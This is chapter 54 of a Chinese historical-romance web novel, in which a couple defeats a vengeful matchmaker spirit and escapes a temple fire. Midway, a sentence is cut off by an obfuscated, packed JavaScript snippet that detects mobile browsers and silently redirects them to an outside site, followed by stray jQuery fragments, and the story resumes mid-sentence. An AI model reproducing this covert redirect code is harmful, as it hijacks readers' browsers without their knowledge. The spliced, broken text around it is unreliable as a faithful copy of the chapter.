54. 第五十四章

作品:《长安食肆经营日常

    申屠月容见她出来,立刻就气急败坏的把夜市发生的事情全部讲了一遍,而后怒气冲冲道:“妾奉上二十来年寿命不是来此受这种屈辱的!”


    能看出来这月下娘子年轻时候应当颇有些姿色,即使是老了,一举一动都很有世家女子的礼仪在身,眉间桃花花钿也描得很美。


    只是开口便透着沧桑:“蠢货,我只保证你嫁到想嫁的郎君,这婚姻是否如意那我定然是不能左右的。”


    她顿了顿,又带了些悲凉:“即便是真正月老搭牵的红线,就定然是段良缘吗?”


    申屠月容被气得哽住,良久又忧心忡忡的开口:“如今又出现个西平段氏,也不知这段姻缘是否能稳固。烦娘子再将那红线多多缠上几道。”


    这边段知微和袁慎己藏在破庙外头,看着月下娘子从背囊里拿出一些如血色般诡异红线,与月下老人的线不同,那线如同粗麻一般厚实又粗糙。


    她也并不将此线捆到人的脚踝之上,而是从锦盒里拿出两个类似磨喝乐大小的娃娃。


    就用那粗重的红线把两个娃娃生生捆住,一圈一圈又一圈,想到其中一个娃娃可能写着袁慎己的名字和八字。段知微的后背都开始发凉。


    一旁的袁慎己更是脸色铁青,他向来痛恨此等压胜之术,此次又被如此操纵,怎能不恼火,当下便拔出寒亮的陌刀。


    段知微担忧对方有什么后招,拉住他的衣角不让他过去,想再观察看看。


    那边申屠月容还在问:“若妾得了那段氏的生辰八字,还烦娘子将她随意与什么丑陋的贩夫走卒捆绑在一起,这样妾才能放心嫁到袁府。”


    段知微大怒,好你个申屠月容,冒名顶替便罢了,你自己千挑万选了个年轻英俊前途无量人品还行的四品官员,给我选个贩夫走卒,还非得是个丑陋的,这还是人吗!


    当下便觉怒火攻心,撒了手要去找她算账,倒是袁慎己冷静下来,一把拦住她,而后自身上解下箭袋和良弓,低头给箭头抹火油。


    段知微也蹲下小声道:“知道你生气,但是一把火把人烧了也是犯律法的。”


    袁慎己满腔怒火被她的话语冲散了些,他说:“这箭不是这么用的。”


    说着掏出火石点燃了锋利的箭尖,而后站立起来,他身姿挺拔,左手稳稳攀住硬弓,右手搭住那已经燃起熊熊火焰的羽箭,弓弦绷紧,而后他手指松开,带着火焰的羽箭嗖一声飞了出去,正中月下娘子手中正缠绕的娃娃。


    那两个娃娃被火舌一舔,很快便在火中消散成黑色飞烟。


    “是谁在那边。”月下娘子大怒,她一张布满皱纹的脸阴暗垮塌下来,直接冲着袁慎己和段知微而来。


    袁慎己道:“你们在此行压胜之术,此乃大逆,袁某定要将你们捉拿至大理寺候审。”


    段知微躲在他身后,她被月下娘子阴郁的表情吓了一跳,只好跟她摆事实讲道理:“这位娘子,这男女间结缘除了由天定,也得看两人的感情,所谓强扭的瓜不甜,你这样强行把没有感情的两个人绑在一起,简直就是在互相折磨,这样不会过得幸福的。”


    段知微觉得自己这话说得实在是在理,忍不住边讲便点点头,岂料那月下娘子冷笑一声:“就是要让他们互相折磨?”


    段知微:“?”


    月下娘子道:“那月老一句赤绳一系,即便仇敌之家,吴楚异乡,也得结为夫妻,葬送了我这一生。其他人凭什么就得好过?”


    她的阿耶上任宋城县宰,染病后与母亲先后去世了,家中只有一个瞎眼的陈姓乳母,一边买菜一边拉扯她长大,长到四岁时,家中来了个刺客,刺中了她的眉心,乳母夜间抱着她去医馆,因为眼瞎,路上摔了无数次,到了医馆后浑身已是伤痕累累。


    也不知是不是因为夜间的摔伤,乳母不久便去世了,她被接到叔父家中,叔父是一方刺史,只为拉拢韦君,便将豆蔻年华的她如同西市的货品一样送了出去。


    她生得貌美,如同春日枝头最繁盛的桃花,竟要嫁给一个自己叔父年纪差不多大的老头,恨得一口银牙咬碎,无奈受了叔父的养恩,只得嫁了过去。


    那韦君凶狠、暴戾、好色,竟然还是当年刺中自己的罪魁祸首,当韦君把那时刺杀之事当玩笑话说出时,她想到了在夜里摔了无数跟头的乳母陈氏。


    满腔的怒火无处可泻,杀意从她眼睛里弥漫出来,可自家的儿子是那样勤奋好学,每日都在用功念书,只为获取一份功名,为了自家儿子,她只好忍了下来,所有人都过了非常完美的一生,只除了她一个。


    她在故事里没有名字,只有一个与那韦君“相敬逾极”的结局,怎能不恨。


    死后化作地仙,在西市暗巷开上一间小肆铺,名唤定婚店,无数的女郎赶在宵禁之前住到附近的旅店,只待月圆的暗夜,提上一盏灯笼,在雾间穿行而过,而后敲响肆铺的门,用可贵的寿数,换取想要的姻缘。


    只这姻缘下场如何,她可管不着。


    段知微第一次从另一个角度来听这出《定婚店》,突然觉得自己那些大道理讲的过于理所当然,她心中产生了巨大的同情和羞愧。


    不料月下娘子是不要别人同情她的“不要用同情的眼神来看我。”而后竟朝着段知微冲了过来。


    袁慎己把她拉到身后,而后与其缠斗起来,他手上的陌刀在月光下发着极寒的光,劈下去带着千钧之力,对方只是小小地仙,哪有力量与之缠斗,很快便落到下风。


    他赢得轻松,很快将陌刀架到了对方的脖子上。


    段知微忙道:“等等。”她望向月下娘子“你还强牵了多少人的姻缘?该解绑的解绑,那些娘子的寿数也得还给人家。”


    月下娘子冷笑一声道:“绝无可能。”她被恐怖的婚姻磋磨了一生,正急需拉一些人堕入无望的婚姻里,还想解绑?


    “你的夙愿不就是与那韦君再无往来?你写上一份放夫书交给我们,我们替你交去官府。”


    月下娘子一愣:“放夫书?”


    两宋以后礼教提倡女子守节、从一而终,此法必然是惊世骇俗。但本朝女子与男子一样同样有“放夫”权。


    “对,放夫,分开不用刀,从今莫把仇人靠,千种相思一撇销。”段知微引用了一下南宋著名才女朱淑真的放夫宣言:“从此黄泉碧落,你两再无任何牵连。”


    月下娘子被她说动了心,当下便取了纸笔,想来她也颇有文采,簪花小楷洋洋洒洒咬牙切齿写了一长段“猫鼠同窠”“聚而成怨”,字字泣血令人心惊。


    最后这书交到段知微手上时,她明显如释重负,袁慎己凑近看了眼那书:“韦君恶毒,对黄口小儿下此等毒手,定然还有其他罪行,袁某定然上报大理寺,将陈年旧事再翻,不会让《定婚店》只剩‘相敬逾极’的、粉饰太平的结局。”


    月下娘子流下泪来,她额间那簇艳丽的桃花花瓣掉落在地,零落成碎片,而后周身开始逐渐变得虚无,化作无数桃花花瓣放出月色般的银光在空中飘扬。


    如果可以,她只愿意回到四岁那年,乳母陈氏在旅店门口卖菜,她在一旁玩耍,给乳母搬个小胡床让她坐,等收了摊子,乳母看不见她,但仍是一脸慈爱的过来笑着牵她的手:“今日的荠菜竟全部卖完了,马上去集市上给小桃儿买份蜜饯子可好?”


    她笑着说好。


    段知微叹息一声,破庙里还有几个大箱子,怕是都藏着那粗重的红线和各种写着生辰八字的娃娃。


    她和袁慎己走进去,想将那些都搬出来,看是交给捉妖司妥善处理,还是直接原地火烧。


    火烧......不知是否是错觉,她还真闻到了一阵火油的气味。


    未等她反应过来,冲天的火光已经把门口的路堵死了。


    “这是怎么回事?”她惊恐道。


    “有人蓄意放了一把火”袁慎己很快反应过来,把身上的铠甲脱下披到她身上,而后提着陌刀四处环绕了一圈,放火的人很细密,竟然是在破庙一圈细细倒了火油。


    恐怕是袁慎己落在墙垣那的火油和火石,被人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859305|153752||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就提取材了。


    段知微立刻想到了消失不见的申屠氏。


    但现在并不是找真凶的时候,袁慎己当机立断把她背到身上,再用几根粗壮的红绳一圈圈的绕上,把两个人死死绑在一起。


    唯一的出口只剩天花板上一处破败的口子,只能攀爬庙中唯一一根看上去很不稳的红木柱子。


    段知微伏在他背上,感觉到庙里温度在不断上升:“都尉,你背着我太重了,把我放下吧,这样你能跑得轻松点,等出去以后再找潜火军拿着溅筒来灭火。”


    她觉得这个主意最好,必然能逃出去一个,运气好点她也能得救;袁慎己背着她爬上那个木柱子,运气差的话两个都得玩完。


    没想到袁慎己不搭她的话,只咬牙背着她往上攀爬,她只好低头自己动手解那个繁复的红绳。


    这结扣是袁慎己专门学来绑敌方俘虏的,她死活也解不开,只好放弃,又再去劝他。


    袁慎己已然满头是汗,也不搭理一直在碎碎念的段知微,最后只道一句:“你还记得凉州的霜雪中是如何带着我前行的吗?”


    段知微收了声。她默默伏到了他的背上。


    只剩一点儿,他就能攀上房梁,不料火势突然增大,直接将柱子燎倒下,二人直直就要掉入火海,在这之前,袁慎己把她护进了怀里。


    “嗖”一块精美的飞毯从天花板的洞里钻进来,一下接住了两个人,而后从洞口飞了出去。


    两人还保持着拥抱的姿势,段知微整个头埋在他怀中,只听耳畔风沙沙而过,她脸上全是眼泪,不知道是害怕还是被烟熏的。


    袁慎己抬手,粗粝的指腹轻柔擦拭她眼角的泪花:“怎么还哭上了,我又没有欺负你,不许哭。”


    她的声音闷闷的:“你什么时候知道的?”


    袁慎己一愣,而后反应过来:“见你第一眼就知道了,你为何故意瞒我?”


    段知微抬头看他:“我不想被人当狐精。”


    袁慎己笑了:“那是王潜为了写变文瞎编的,我从未当你是狐精,除了......”


    “除了什么?”


    “除了勾走了我的心。”


    这粗粝的武官说起情话来虽然让人心动又让人有些不自在,段知微刚想说什么,却听到一声巨大的爆竹声响。


    西市开始放烟花,从空中往下看,元宵的花市如同一条蜿蜒盘旋的金色巨龙,各色形态各异的灯笼如同星子坠落人间,形成一旁灿烂的灯海。


    东风夜放花千树,无数烟火在空中炸开,如同千万繁花绽放,如同流星呼啸着冲破漆黑天际,又缤纷着如星鱼纷扬飘洒下来。


    段知微和袁慎己就坐在半空看这纷繁美景。


    袁慎己仰头望见月亮想起了什么,他从怀里掏出那莹珠簪子,那簪子上一颗硕大珍珠如同月亮硕大饱满,段知微接过,轻轻转动,珍珠的光晕竟细细流动起来。


    她笑着说:“帮我戴上。”


    袁慎己高大身躯靠近,把她笼在一层阴影里,而后轻轻把簪子簪到她头上:“可不能为了扩张食肆轻易将它带去当铺卖掉,小财迷。”


    “我才不会!”段知微抬手抚摸了两下簪子:“如果在凉州城外救你的另有其人,你会喜欢上别人吗?”


    袁慎己无奈:“那若救我的是个老叟,我也要以身相许吗?”


    难得袁都尉如此幽默,看着段知微笑得开怀,他说:“若救我的是旁人,那我便散尽家产以报救命之恩,然后等着段娘子的接济。”


    段知微还有些许感动,而后又想到什么:“那救你的是我,也不妨碍你散些家财给我。”她摊手。


    后者伸出自己的大手握住她的:“往后的袁某的薪俸、宫中的赏赐以及本人,全部都是你的。”


    汝南袁氏慎己,自幼丧母,年少从军,保护边地的百姓,对抗佶傲的突厥。历遍北地的风霜,身上一百零七道刀伤,想来是上天怜他凄苦。


    终于在今夜将盛世的烟花,人间的欢愉,全部送给了他。